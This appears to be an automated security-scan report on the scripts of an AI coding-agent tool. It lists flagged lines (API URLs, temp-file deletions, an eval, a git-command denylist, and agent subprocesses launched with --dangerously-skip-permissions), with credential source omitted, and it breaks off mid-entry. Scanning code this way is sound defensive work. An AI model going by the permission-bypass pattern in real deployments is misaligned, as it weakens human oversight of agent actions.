    # Usage: #   ./autonomy/issue-parser.sh <issue-ref> #   ./autonomy/issue-parser.sh https://github.com/owner/repo/issues/123
  • Network accessline 7
    #   ./autonomy/issue-parser.sh <issue-ref> #   ./autonomy/issue-parser.sh https://github.com/owner/repo/issues/123 #   ./autonomy/issue-parser.sh owner/repo#123
  • Network accessline 8
    #   ./autonomy/issue-parser.sh https://github.com/owner/repo/issues/123
  • Network accessline 64
    # Extract owner/repo from various URL formats     # https://github.com/owner/repo.git
  • Network accessline 65
    # https://github.com/owner/repo.git
  • Network accessline 67
    # https://github.com/owner/repo
  • Network accessline 83
    # Parse issue reference to extract owner, repo, and issue number # Supports: #   - https://github.com/owner/repo/issues/123
  • Network accessline 84
    # Supports: #   - https://github.com/owner/repo/issues/123 #   - owner/repo#123
  • Network accessline 85
    #   - https://github.com/owner/repo/issues/123
  • Network accessline 93
    # URL format: https://github.com/owner/repo/issues/123
  • Network accessline 115
    log_error "Invalid issue reference format: $ref"         log_error "Supported formats:"         log_error "  - https://github.com/owner/repo/issues/123"
  • Network accessline 116
    log_error "Supported formats:"         log_error "  - https://github.com/owner/repo/issues/123"         log_error "  - owner/repo#123"
  • Network accessline 117
    log_error "  - https://github.com/owner/repo/issues/123"
  • Dangerous shell operationline 319
    mv -f "$ctx_tmp" "$state_dir/issue-context.json" 2>/dev/null || rm -f "$ctx_tmp"
  • Dangerous shell operationline 321
    rm -f "$ctx_tmp" 2>/dev/null || true
  • Dangerous shell operationline 348
    mv -f "$plan_tmp" "$state_dir/journey-plan.json" 2>/dev/null || rm -f "$plan_tmp"
  • Dangerous shell operationline 350
    rm -f "$plan_tmp" 2>/dev/null || true
  • Dangerous shell operationline 373
    mv -f "$first_tmp" "$state_dir/first-useful-result.json" 2>/dev/null                      || rm -f "$first_tmp"
  • Dangerous shell operationline 374
    || rm -f "$first_tmp"
  • Dangerous shell operationline 376
    rm -f "$first_tmp" 2>/dev/null || true
  • Network accessline 655
    ${CYAN}Issue Reference Formats:${NC}   https://github.com/owner/repo/issues/123
  • Network accessline 656
    https://github.com/owner/repo/issues/123
  • Network accessline 668
    $(basename "$0") 123   $(basename "$0") owner/repo#456   $(basename "$0") https://github.com/owner/repo/issues/789 --format json
  • Network accessline 669
    $(basename "$0") owner/repo#456   $(basename "$0") https://github.com/owner/repo/issues/789 --format json   $(basename "$0") 123 --output issue-prd.yaml
  • Network accessline 670
    $(basename "$0") https://github.com/owner/repo/issues/789 --format json

autonomy/issue-providers.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 6
    # Usage: #   source autonomy/issue-providers.sh #   detect_issue_provider "https://github.com/org/repo/issues/123"
  • Network accessline 7
    #   source autonomy/issue-providers.sh #   detect_issue_provider "https://github.com/org/repo/issues/123" #   fetch_issue "https://github.com/org/repo/issues/123"
  • Network accessline 8
    #   detect_issue_provider "https://github.com/org/repo/issues/123"
  • Network accessline 9
    #   fetch_issue "https://github.com/org/repo/issues/123"
  • Network accessline 10
    #   fetch_issue "https://gitlab.com/org/repo/-/issues/42"
  • Network accessline 11
    #   fetch_issue "https://org.atlassian.net/browse/PROJ-123"
  • Network accessline 12
    #   fetch_issue "https://dev.azure.com/org/project/_workitems/edit/456"
  • Network accessline 72
    sentry_ref_is_sentry() {     local ref="$1"     if [[ "$ref" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then
  • Network accessline 73
    local ref="$1"     if [[ "$ref" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then         return 0
  • Network accessline 74
    if [[ "$ref" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then
  • Access to secretsline 109
    [Credential-related source omitted]
  • Network accessline 166
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Network accessline 167
    # curl config on stdin, never on argv, and is never echoed.
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Network accessline 173
    return 1     fi     if [[ "$ref" =~ ^https://([^/]+)/.*issues/([0-9]+) ]]; then
  • Network accessline 174
    fi     if [[ "$ref" =~ ^https://([^/]+)/.*issues/([0-9]+) ]]; then         host="${BASH_REMATCH[1]}"; id="${BASH_REMATCH[2]}"
  • Network accessline 175
    if [[ "$ref" =~ ^https://([^/]+)/.*issues/([0-9]+) ]]; then
  • Network accessline 180
    fi     case "$host" in *.sentry.io) host="sentry.io" ;; esac     base="https://${host}/api/0/issues/${id}"
  • Network accessline 181
    case "$host" in *.sentry.io) host="sentry.io" ;; esac     base="https://${host}/api/0/issues/${id}"     local issue ev
  • Network accessline 182
    base="https://${host}/api/0/issues/${id}"
  • Network accessline 183
    [Credential-related source omitted]
  • Network accessline 184
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Network accessline 185
    | curl -sS --fail --max-time 30 -K - "${base}/" 2>/dev/null) || {
  • Access to secretsline 186
    [Credential-related source omitted]
  • Network accessline 188
    [Credential-related source omitted]
  • Network accessline 189
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 190
    | curl -sS --fail --max-time 30 -K - "${base}/events/latest/" 2>/dev/null) || ev='{}'
  • Network accessline 231
    # Jira uses REST API via curl - check for JIRA_API_TOKEN
  • Access to secretsline 232
    [Credential-related source omitted]
  • Access to secretsline 234
    [Credential-related source omitted]
  • Network accessline 237
    if [ -z "${JIRA_URL:-}" ] && [ -z "${JIRA_BASE_URL:-}" ]; then                 echo -e "${RED}Error: JIRA_URL or JIRA_BASE_URL not set${NC}" >&2                 echo "Set with: export JIRA_URL=https://your-org.atlassian.net" >&2
  • Network accessline 238
    echo -e "${RED}Error: JIRA_URL or JIRA_BASE_URL not set${NC}" >&2                 echo "Set with: export JIRA_URL=https://your-org.atlassian.net" >&2                 return 1
  • Network accessline 239
    echo "Set with: export JIRA_URL=https://your-org.atlassian.net" >&2
  • Access to secretsline 357
    [Credential-related source omitted]
  • Access to secretsline 358
    [Credential-related source omitted]
  • Network accessline 388
    parsed_port = parsed_url.port except ValueError:     refuse(f'expected https://github.com{expected_path}, received {url!r}')
  • Network accessline 389
    except ValueError:     refuse(f'expected https://github.com{expected_path}, received {url!r}') if (
  • Network accessline 390
    refuse(f'expected https://github.com{expected_path}, received {url!r}')
  • Network accessline 399
    or parsed_url.path.rstrip('/').casefold() != expected_path.casefold() ):     refuse(f'expected https://github.com{expected_path}, received {url!r}')
  • Network accessline 401
    refuse(f'expected https://github.com{expected_path}, received {url!r}')
  • Access to secretsline 472
    [Credential-related source omitted]
  • Access to secretsline 481
    [Credential-related source omitted]
  • Network accessline 495
    local issue_json     issue_json=$(curl -sf -H "$auth_header" -H "Content-Type: application/json" \
  • Network accessline 496
    [Credential-related source omitted]
  • Access to secretsline 496
    [Credential-related source omitted]
  • Access to secretsline 497
    [Credential-related source omitted]
  • Access to secretsline 502
    [Credential-related source omitted]
  • Access to secretsline 506
    [Credential-related source omitted]
  • Access to secretsline 507
    [Credential-related source omitted]
  • Access to secretsline 508
    [Credential-related source omitted]
  • Network accessline 530
    local issue_json     issue_json=$(az boards work-item show --id "$id" --org "https://dev.azure.com/$org" --output json 2>&1) || {
  • Network accessline 531
    issue_json=$(az boards work-item show --id "$id" --org "https://dev.azure.com/$org" --output json 2>&1) || {
  • Access to secretsline 540
    [Credential-related source omitted]
  • Network accessline 567
    echo -e "${RED}Error: Could not detect issue provider from: $ref${NC}" >&2         echo "Supported formats:" >&2         echo "  GitHub:      https://github.com/owner/repo/issues/123 or owner/repo#123 or #123" >&2
  • Network accessline 568
    echo "Supported formats:" >&2         echo "  GitHub:      https://github.com/owner/repo/issues/123 or owner/repo#123 or #123" >&2         echo "  GitLab:      https://gitlab.com/owner/repo/-/issues/42" >&2
  • Network accessline 569
    echo "  GitHub:      https://github.com/owner/repo/issues/123 or owner/repo#123 or #123" >&2
  • Network accessline 570
    echo "  GitLab:      https://gitlab.com/owner/repo/-/issues/42" >&2
  • Network accessline 571
    echo "  Jira:        https://org.atlassian.net/browse/PROJ-123 or PROJ-123" >&2
  • Network accessline 572
    echo "  Azure DevOps: https://dev.azure.com/org/project/_workitems/edit/456" >&2
  • Access to secretsline 616
    [Credential-related source omitted]

autonomy/lib/ablation.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 280
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]

autonomy/lib/assets_bundle.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 396
    [Credential-related source omitted]
  • Access to secretsline 397
    [Credential-related source omitted]
  • Access to secretsline 398
    [Credential-related source omitted]

autonomy/lib/backlog.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 347
    [Credential-related source omitted]
  • Access to secretsline 383
    [Credential-related source omitted]
  • Access to secretsline 387
    [Credential-related source omitted]
  • Access to secretsline 390
    [Credential-related source omitted]
  • Access to secretsline 441
    [Credential-related source omitted]

autonomy/lib/browser-open.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/lib/chat.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 6
    _LOKI_CHAT_SYSTEM_PROMPT="You are running inside Loki Mode chat. Be concise. Prefer small, verifiable changes. Loki commands available to the user: loki start (also --workspace and --deploy; deploy takes --destination, --canary, --env-file,
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Dangerous shell operationline 382
    git rm -f -q --cached -- "$f" 2>/dev/null || true
  • Dangerous shell operationline 383
    rm -f -- "$f"
  • Dangerous shell operationline 391
    rm -f -- "$f"

autonomy/lib/check_author.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 122
    [Credential-related source omitted]

autonomy/lib/checkpoint_sync.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 271
    [Credential-related source omitted]
  • Access to secretsline 272
    [Credential-related source omitted]

autonomy/lib/claim_grounding.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/claude-flags.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Access to secretsline 213
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]
  • Dangerous shell operationline 366
    printf '%s' "Edit,Write,NotebookEdit,Bash(git commit:*),Bash(git reset:*),Bash(git push:*),Bash(git checkout:*),Bash(git clean:*),Bash(git rm:*),Bash(git stash:*),Bash(git -C:*),Bash(git --git-dir:*),Bash(git -c:*),Bash(git --exec-path:*),B
  • Network accessline 372
    # needs (Read, Grep, Glob, read-only git, and a small set of read-only shell # commands). Per `claude --help` and the official permission docs # (https://code.claude.com/docs/en/cli-reference,
  • Network accessline 373
    # commands). Per `claude --help` and the official permission docs # (https://code.claude.com/docs/en/cli-reference, #  https://code.claude.com/docs/en/permissions) --allowedTools entries are
  • Network accessline 374
    # (https://code.claude.com/docs/en/cli-reference,
  • Network accessline 375
    #  https://code.claude.com/docs/en/permissions) --allowedTools entries are
  • Instruction override signalline 387
    #   - deny-only   Bash(git status:*)                -> BLOCKED    (control) #   - allow + deny BOTH on Bash(git status:*)       -> BLOCKED    (deny wins) #   - allow + deny BOTH, under --dangerously-skip-permissions -> BLOCKED
  • Instruction override signalline 388
    #   - allow + deny BOTH on Bash(git status:*)       -> BLOCKED    (deny wins) #   - allow + deny BOTH, under --dangerously-skip-permissions -> BLOCKED # So DENY PRECEDENCE holds even in bypassPermissions mode (the mode every council
  • Instruction override signalline 389
    #   - allow + deny BOTH, under --dangerously-skip-permissions -> BLOCKED
  • Instruction override signalline 396
    # This is a GUARDRAIL, not a sandbox (same caveat as the denylist): --allowedTools # governs whether a tool runs WITHOUT A PROMPT, and these subcalls already run # under --dangerously-skip-permissions, so the practical effect is to restrict
  • Instruction override signalline 397
    # governs whether a tool runs WITHOUT A PROMPT, and these subcalls already run # under --dangerously-skip-permissions, so the practical effect is to restrict the # in-context tool surface to the allowlisted set while the denylist hard-block
  • Instruction override signalline 398
    # under --dangerously-skip-permissions, so the practical effect is to restrict the
  • Access to secretsline 453
    [Credential-related source omitted]
  • Access to secretsline 454
    [Credential-related source omitted]
  • Network accessline 624
    # ---------- v7.x caveman output-token compressor gates ---------- # caveman (https://github.com/JuliusBrussee/caveman, MIT, vendor-less pin) is a
  • Network accessline 625
    # caveman (https://github.com/JuliusBrussee/caveman, MIT, vendor-less pin) is a
  • Dangerous shell operationline 663
    # curl|bash path delegates to `npx -y github:JuliusBrussee/caveman#<ref>`. We
  • Dangerous shell operationline 895
    # runs the upstream installer exactly as a user's own `curl|bash` would; we do
  • Dangerous shell operationline 957
    rm -rf -- "$bootstrap_tmp" 2>/dev/null || true
  • Access to secretsline 1029
    [Credential-related source omitted]
  • Network accessline 1052
    #    CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS) so one message can't fan out #    unbounded background agents" #   -- https://github.com/anthropics/claude-code/releases/tag/v2.1.217
  • Network accessline 1053
    #    unbounded background agents" #   -- https://github.com/anthropics/claude-code/releases/tag/v2.1.217 #
  • Network accessline 1054
    #   -- https://github.com/anthropics/claude-code/releases/tag/v2.1.217
  • Instruction override signalline 1095
    # P12-26 / C-C2: the compiled permission policy swaps --dangerously-skip-permissions for
  • Instruction override signalline 1148
    _loki_claude_permission_argv() {     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 1149
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)

autonomy/lib/claude_permissions.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 54
    [Credential-related source omitted]

autonomy/lib/cockpit-render.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 209
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Access to secretsline 359
    [Credential-related source omitted]

autonomy/lib/config-map.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 516
    [Credential-related source omitted]
  • Access to secretsline 530
    [Credential-related source omitted]
  • Access to secretsline 654
    [Credential-related source omitted]
  • Access to secretsline 659
    [Credential-related source omitted]
  • Access to secretsline 733
    [Credential-related source omitted]
  • Access to secretsline 799
    [Credential-related source omitted]
  • Dangerous shell operationline 884
    rm -f "$scratch_json"; return 2
  • Access to secretsline 895
    [Credential-related source omitted]
  • Access to secretsline 896
    [Credential-related source omitted]
  • Access to secretsline 899
    [Credential-related source omitted]
  • Dangerous shell operationline 953
    # unconditional rm on a possibly-empty path instead.
  • Dangerous shell operationline 954
    rm -f "${scratch_json:-/dev/null}" 2>/dev/null
  • Access to secretsline 966
    [Credential-related source omitted]
  • Access to secretsline 967
    [Credential-related source omitted]
  • Access to secretsline 970
    [Credential-related source omitted]
  • Access to secretsline 971
    [Credential-related source omitted]
  • Access to secretsline 975
    [Credential-related source omitted]
  • Access to secretsline 976
    [Credential-related source omitted]
  • Access to secretsline 977
    [Credential-related source omitted]
  • Access to secretsline 1028
    [Credential-related source omitted]
  • Access to secretsline 1036
    [Credential-related source omitted]
  • Access to secretsline 1040
    [Credential-related source omitted]
  • Access to secretsline 1044
    [Credential-related source omitted]
  • Access to secretsline 1053
    [Credential-related source omitted]
  • Access to secretsline 1054
    [Credential-related source omitted]
  • Access to secretsline 1072
    [Credential-related source omitted]
  • Access to secretsline 1074
    [Credential-related source omitted]
  • Access to secretsline 1076
    [Credential-related source omitted]
  • Access to secretsline 1115
    [Credential-related source omitted]
  • Access to secretsline 1117
    [Credential-related source omitted]
  • Access to secretsline 1150
    [Credential-related source omitted]
  • Access to secretsline 1154
    [Credential-related source omitted]

autonomy/lib/contract-scaffold/generate.mjs

  • Executable scriptline 1
    #!/usr/bin/env node

autonomy/lib/contract-scaffold/scaffold.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/lib/cost-summary.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/cr-rematerialize.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 179
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]

autonomy/lib/crash_capture.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]

autonomy/lib/crash_redact.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 86
    Handles https://host/owner/repo(.git) and scp-style git@host:owner/repo(.git).

autonomy/lib/deadline.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 604
    [Credential-related source omitted]
  • Access to secretsline 1008
    [Credential-related source omitted]

autonomy/lib/decision_record.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 259
    [Credential-related source omitted]

autonomy/lib/dependency-setup.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 68
    rm -f "$temporary" 2>/dev/null || true
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Dangerous shell operationline 151
    if ! rm -f "$marker_file"; then

autonomy/lib/done-recognition.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 97
    [Credential-related source omitted]
  • Dangerous shell operationline 126
    rm -f "$_sdk_prompt_f" 2>/dev/null || true
  • Instruction override signalline 166
    _dr_schema_content="$(cat "$_dr_schema" 2>/dev/null)" || _dr_schema_content=""         if [ -n "$_dr_schema_content" ]; then             _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 167
    if [ -n "$_dr_schema_content" ]; then             _LOKI_PERM_ARGV=(--dangerously-skip-permissions)             ! type _loki_claude_permission_argv >/dev/null 2>&1 || _loki_claude_permission_argv
  • Instruction override signalline 168
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 203
    local rc=0     local out=""     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 204
    local out=""     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)     ! type _loki_claude_permission_argv >/dev/null 2>&1 || _loki_claude_permission_argv
  • Instruction override signalline 205
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Access to secretsline 259
    [Credential-related source omitted]
  • Access to secretsline 359
    [Credential-related source omitted]
  • Access to secretsline 360
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]
  • Access to secretsline 365
    [Credential-related source omitted]
  • Access to secretsline 366
    [Credential-related source omitted]
  • Access to secretsline 367
    [Credential-related source omitted]
  • Access to secretsline 368
    [Credential-related source omitted]
  • Access to secretsline 454
    [Credential-related source omitted]
  • Access to secretsline 455
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Access to secretsline 457
    [Credential-related source omitted]
  • Access to secretsline 878
    [Credential-related source omitted]
  • Access to secretsline 886
    [Credential-related source omitted]
  • Access to secretsline 887
    [Credential-related source omitted]
  • Access to secretsline 888
    [Credential-related source omitted]
  • Access to secretsline 889
    [Credential-related source omitted]
  • Access to secretsline 954
    [Credential-related source omitted]
  • Access to secretsline 956
    [Credential-related source omitted]
  • Access to secretsline 963
    [Credential-related source omitted]
  • Access to secretsline 964
    [Credential-related source omitted]
  • Dangerous shell operationline 989
    rm -f "$loki_dir/queue/.prd-populated" 2>/dev/null || true
  • Access to secretsline 996
    [Credential-related source omitted]

autonomy/lib/efficiency_cost.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 60
    [Credential-related source omitted]

autonomy/lib/effort_estimator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 253
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 261
    [Credential-related source omitted]
  • Access to secretsline 268
    [Credential-related source omitted]
  • Access to secretsline 275
    [Credential-related source omitted]
  • Access to secretsline 328
    [Credential-related source omitted]

autonomy/lib/engine10-push-gitlab.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 22
    lc="$(printf '%s' "$u" | tr '[:upper:]' '[:lower:]')"     case "$lc" in         https://gitlab.com/*) pre="https://gitlab.com/" ;;
  • Network accessline 23
    case "$lc" in         https://gitlab.com/*) pre="https://gitlab.com/" ;;         git@gitlab.com:*) pre="git@gitlab.com:" ;;
  • Network accessline 24
    https://gitlab.com/*) pre="https://gitlab.com/" ;;
  • Dangerous shell operationline 80
    trap 'rm -rf "$tmp"' EXIT
  • Network accessline 114
    if [ -z "$mr" ]; then     mr="$(_e10_glab mr create --repo "$proj" --source-branch "$branch" --title "$title" \         --description "$(cat "$body")" --yes "${draft[@]}" | grep -Eo 'https://gitlab\.com/[^[:space:]]+' | tail -n 1)" \
  • Network accessline 115
    mr="$(_e10_glab mr create --repo "$proj" --source-branch "$branch" --title "$title"          --description "$(cat "$body")" --yes "${draft[@]}" | grep -Eo 'https://gitlab\.com/[^[:space:]]+' | tail -n 1)"
  • Network accessline 116
    --description "$(cat "$body")" --yes "${draft[@]}" | grep -Eo 'https://gitlab\.com/[^[:space:]]+' | tail -n 1)" \

autonomy/lib/engine10-push.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 55
    eval "$_e10_region" || die "run.sh region failed to load" 3
  • Dangerous shell operationline 125
    rm -rf "$tmp"

autonomy/lib/expectation-ledger.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/failure_memory.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]

autonomy/lib/fast_verify.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 245
    [Credential-related source omitted]

autonomy/lib/functional-verify.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 152
    data = json.dumps(body).encode()         headers["Content-Type"] = "application/json"     req = urllib.request.Request(url, data=data, method=method, headers=headers)
  • Network accessline 153
    headers["Content-Type"] = "application/json"     req = urllib.request.Request(url, data=data, method=method, headers=headers)     try:
  • Network accessline 154
    req = urllib.request.Request(url, data=data, method=method, headers=headers)
  • Network accessline 155
    try:         with urllib.request.urlopen(req, timeout=timeout) as resp:             raw = resp.read().decode("utf-8", "replace")
  • Network accessline 156
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 285
    data = b"{}" if method in ("POST", "PUT", "PATCH") else None     headers = {"Content-Type": "application/json"} if data else {}     req = urllib.request.Request(url, data=data, method=method, headers=headers)
  • Network accessline 286
    headers = {"Content-Type": "application/json"} if data else {}     req = urllib.request.Request(url, data=data, method=method, headers=headers)     opener = urllib.request.build_opener(_NoRedirect)
  • Network accessline 287
    req = urllib.request.Request(url, data=data, method=method, headers=headers)

autonomy/lib/gate_policy.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 39
    [Credential-related source omitted]

autonomy/lib/git-pr-advisory.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 36
    # Echoes a GitHub compare URL, or empty if the origin URL is not a parseable # github.com remote. Handles both ssh (git@github.com:owner/repo.git) and https # (https://github.com/owner/repo[.git]) forms. Non-github hosts -> empty.
  • Network accessline 38
    # (https://github.com/owner/repo[.git]) forms. Non-github hosts -> empty.
  • Network accessline 58
    if [ -n "$repo" ] && [ "$repo" != "$origin_url" ] && [ "${repo#*/}" != "$repo" ]; then         printf '%s' "https://github.com/${repo}/compare/${base}...${head}?expand=1"
  • Network accessline 59
    printf '%s' "https://github.com/${repo}/compare/${base}...${head}?expand=1"

autonomy/lib/help-core.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 98
    [Credential-related source omitted]

autonomy/lib/iteration_attribution.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/json-output.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]

autonomy/lib/lock.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 95
    rm -rf "$lockdir" 2>/dev/null || true
  • Dangerous shell operationline 115
    rm -rf "$lockdir" 2>/dev/null || true
  • Dangerous shell operationline 142
    eval "$_prev_exit_trap"

autonomy/lib/loki_yaml.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]

autonomy/lib/mcp-config.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 89
    rm -f -- "$f" 2>/dev/null
  • Dangerous shell operationline 124
    rm -f -- "$tmp_bundle" 2>/dev/null  # our pid left over from a reused pid
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Dangerous shell operationline 146
    rm -f "$tmp_bundle" 2>/dev/null
  • Dangerous shell operationline 158
    rm -f "$tmp_bundle" 2>/dev/null
  • Dangerous shell operationline 161
    rm -f "$tmp_bundle" 2>/dev/null
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 262
    [Credential-related source omitted]
  • Access to secretsline 302
    [Credential-related source omitted]
  • Access to secretsline 303
    [Credential-related source omitted]
  • Access to secretsline 305
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]

autonomy/lib/modernize/java_capture.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/lib/modernize/py_capture.py

  • Executable scriptline 1
    #!/usr/bin/env python
  • Possible obfuscationline 157
    return base64.b64decode(data)

autonomy/lib/modernize/py_imports.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/no_mock_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 775
    [Credential-related source omitted]
  • Access to secretsline 777
    [Credential-related source omitted]
  • Access to secretsline 778
    [Credential-related source omitted]
  • Access to secretsline 789
    [Credential-related source omitted]

autonomy/lib/os_sandbox.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 290
    probe_port = 0         for port in ports:             with socket.socket() as candidate:
  • Network accessline 291
    for port in ports:             with socket.socket() as candidate:                 try:
  • Network accessline 292
    with socket.socket() as candidate:
  • Network accessline 330
    else:     raise SystemExit(41) with socket.socket(socket.AF_UNIX) as client:
  • Network accessline 331
    raise SystemExit(41) with socket.socket(socket.AF_UNIX) as client:     try:
  • Network accessline 332
    with socket.socket(socket.AF_UNIX) as client:
  • Network accessline 337
    else:         raise SystemExit(42) with socket.socket() as listener:
  • Network accessline 338
    raise SystemExit(42) with socket.socket() as listener:     try:
  • Network accessline 339
    with socket.socket() as listener:
  • Network accessline 346
    raise SystemExit(43) """         with socket.socket(socket.AF_UNIX) as unix_server:
  • Network accessline 347
    """         with socket.socket(socket.AF_UNIX) as unix_server:             unix_server.bind(str(unix_socket_path))
  • Network accessline 348
    with socket.socket(socket.AF_UNIX) as unix_server:
  • Access to secretsline 367
    [Credential-related source omitted]
  • Access to secretsline 368
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 473
    [Credential-related source omitted]
  • Access to secretsline 482
    [Credential-related source omitted]
  • Access to secretsline 499
    [Credential-related source omitted]

autonomy/lib/outcome_contract.py

  • Executable scriptline 1
    Executable file

autonomy/lib/outcome_ledger.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 469
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]

autonomy/lib/own-render.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/prd-enrich.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 70
    rm -f "$_pe_pf" 2>/dev/null || true
  • Instruction override signalline 87
